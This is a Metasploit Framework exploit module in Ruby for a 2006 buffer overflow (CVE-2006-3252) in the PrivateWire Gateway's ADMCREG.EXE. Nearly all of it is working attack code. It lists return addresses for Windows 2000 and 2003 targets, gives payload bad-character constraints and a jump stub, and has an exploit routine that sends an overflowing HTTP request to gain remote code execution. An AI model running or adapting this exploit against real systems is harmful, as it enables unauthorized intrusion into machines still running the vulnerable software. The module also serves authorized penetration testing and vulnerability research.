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## # $Id: privatewire_gateway.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## # This file may only be distributed as part of the Metasploit Framework. # Any other use needs a written permission from the author. require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Private Wire Gateway Buffer Overflow', 'Description'=> %q{ This exploits a buffer overflow in the ADMCREG.EXE used in the PrivateWire Online Registration Facility. }, 'Author' => 'Michael Thumann <mthumann[at]ernw.de>', 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9179 $', 'References' => [ ['CVE', '2006-3252'], ['OSVDB', '26861'], ['BID', '18647'], ], 'Payload'=> { 'Space'=> 8000, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ ['Windows 2000 English SP0', { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll ['Windows 2000 English SP1', { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll ['Windows 2000 English SP2', { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll ['Windows 2000 English SP3', { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll ['Windows 2000 English SP4', { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll ['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll ['Debugging',{ 'Ret' => 0x41414141 }], # crash ], 'DefaultTarget'=> 4, 'DisclosureDate' => 'Jun 26 2006')) register_options( [ OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ]) ], self.class) end def exploit # add 25 to ecx and jmp jmp = "\x6a\x19\x58\x01\xc1\xff\xe1" path_offset = datastore['PATH'].length - 8 pattern= rand_text_alphanumeric(8192) pattern[0, payload.encoded.length] = payload.encoded pattern[8156 - path_offset, 4] = [target.ret].pack('V') pattern[8160, jmp.length]= jmp print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}") send_request_raw({ 'uri' => "/" + pattern }, 2) end end |